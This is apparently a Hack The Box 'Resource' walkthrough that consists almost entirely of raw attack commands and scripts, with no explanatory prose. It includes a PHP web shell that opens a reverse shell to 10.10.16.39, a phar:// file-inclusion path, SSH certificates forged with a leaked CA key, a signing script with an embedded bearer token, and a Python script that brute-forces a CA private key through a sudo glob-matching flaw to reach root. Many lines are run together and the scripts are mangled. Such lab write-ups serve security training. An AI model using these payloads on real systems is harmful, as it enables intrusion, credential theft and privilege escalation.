HTB靶场 Resource (Linux)[Medium]

?page=phar://uploads/0000af8b7fb5d897811078a2ded3ace98479cea3.zip/phpinfo

nc -lnvp 4445

<?php eval(system("bash -c 'bash -i >& /dev/tcp/10.10.16.39/4445 0>&1'")); ?>

mysql -h db -u jj -p

unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zipcat itrc.ssg.htb.har | grep msainristil

ssh msainristil@ssg.htb

ssh-keygen -t rsa -C [email protected] -f users_key

ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub

scp [email protected]:/home/msainristil/decommission_old_ca/user* .

ssh -i users_key zzinter@ssg.htb

ssh-keygen -t rsa -C [email protected] -f dockerrootssh-keygen -s ca-itrc -n root -I ident dockerroot.pub

scp msainristil@ssg.htb:/home/msainristil/decommission_old_ca/dockerroot* .ssh -i dockerroot root@ssg.htb

#!/bin/bashusage () {    echo "Usage: $0"    exit 1}if [ "$#" -ne 3 ]; then    usagefipublic_key_file="$1"username="$2"principal_str="$3"supported_principals="webserver,analytics,support,securityIFS=',' read -ra principal <<< "$principal_str"for word in "${principal[@]}"; do    if ! echo "$supported_principals" | grep -qw "$word"; then            echo "Error: '$word' is not a supported principal."        echo "Choose from:"        echo "    webserver - external web servers - webadmin user"        echo "    analytics - analytics team databases - analytics user"        echo "    support - IT support server - support user"        echo "    security - SOC servers - support user"        echo        usage    fidoneif [ ! -f "$public_key_file" ]; then    echo "Error: Public key file '$public_key_file' not found."    usagefipublic_key=$(cat $public_key_file)curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

ssh-keygen -L -f users_key-cert.pub

ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub      

ssh-keygen -t rsa -C support@ssg.htb -f support./sign_key_api.sh support.pub support support > support-cert.pubmv supp* /tmpchmod 777 /tmp/supp*

scp msainristil@ssg.htb:/tmp/suppo* .chmod 700 support*ssh -i support -p 2222 support@ssg.htb

cp /home/zzinter/sign_key_api.sh /tmp/sign.sh         

ssh-keygen -t rsa -C [email protected] -f zzintertemp    ./sign.sh zzintertemp.pub zzinter zzinter_temp > zzintertemp-cert.pubchmod 777 /tmp/zzintertemp*

scp msainristil@ssg.htb:/tmp/zzintertemp* .chmod 700 zzintertemp*ssh -i zzintertemp -p 2222 zzinter@ssg.htb

#!/bin/bashusage () {    echo "Usage: $0"    exit 1}if [ "$#" -ne 5 ]; then    usagefica_file="$1"public_key_file="$2"username="$3"principal="$4"serial="$5"if [ ! -f "$ca_file" ]; then    echo "Error: CA file '$ca_file' not found."    usagefiif [[ $ca == "/etc/ssh/ca-it" ]]; then        echo "Error: Use API for signing with this CA."    usagefiitca=$(cat /etc/ssh/ca-it)ca=$(cat "$ca_file")if [[ $itca == $ca ]]; then    echo "Error: Use API for signing with this CA."    usagefiif [ ! -f "$public_key_file" ]; then    echo "Error: Public key file '$public_key_file' not found."    usagefisupported_principals="webserver,analytics,support,security"IFS=',' read -ra principal <<< "$principal_str"for word in "${principal[@]}"; do    if ! echo "$supported_principals" | grep -qw "$word"; then        echo "Error: '$word' is not a supported principal."        echo "Choose from:"            echo "    webserver - external web servers - webadmin user"        echo "    analytics - analytics team databases - analytics user"        echo "    support - IT support server - support user"        echo "    security - SOC servers - support user"        echo        usage    fidoneif ! [[ $serial =~ ^[0-9]+$ ]]; then    echo "Error: '$serial' is not a number."    usagefissh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

ssh-keygen -t rsa -C [email protected] -f rootuser

import osheader = "-----BEGIN OPENSSH PRIVATE KEY-----"footer = "-----END OPENSSH PRIVATE KEY-----"ba64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    key = []line= 0while True:    for char in ba64chars:        testKey = header + "n" + "".join(key) + char + "*"        with open('/tmp/test-ca', 'w', encoding='utf-8') as f:            f.write(testKey)        orderResult = os.popen("sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05").readlines()        if "Error: Use API for signing with this CA." in str(orderResult):            key.append(char)            if len(key) > 0 and (len(key) - line) % 70 == 0:                line = line + 1                key.append("n")            break    else:        breaktestKey = header + "n" + "".join(key) + “n” + footerwith open('/tmp/test-ca','w') as f:    f.write(testKey)

sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05

python -m http.server 8001

wget http://10.10.11.27:8001/rootuser-cert.pubwget http://10.10.11.27:8001/rootuserwget http://10.10.11.27:8001/rootuser.pubssh -i rootuser -p 2222 root@ssg.htb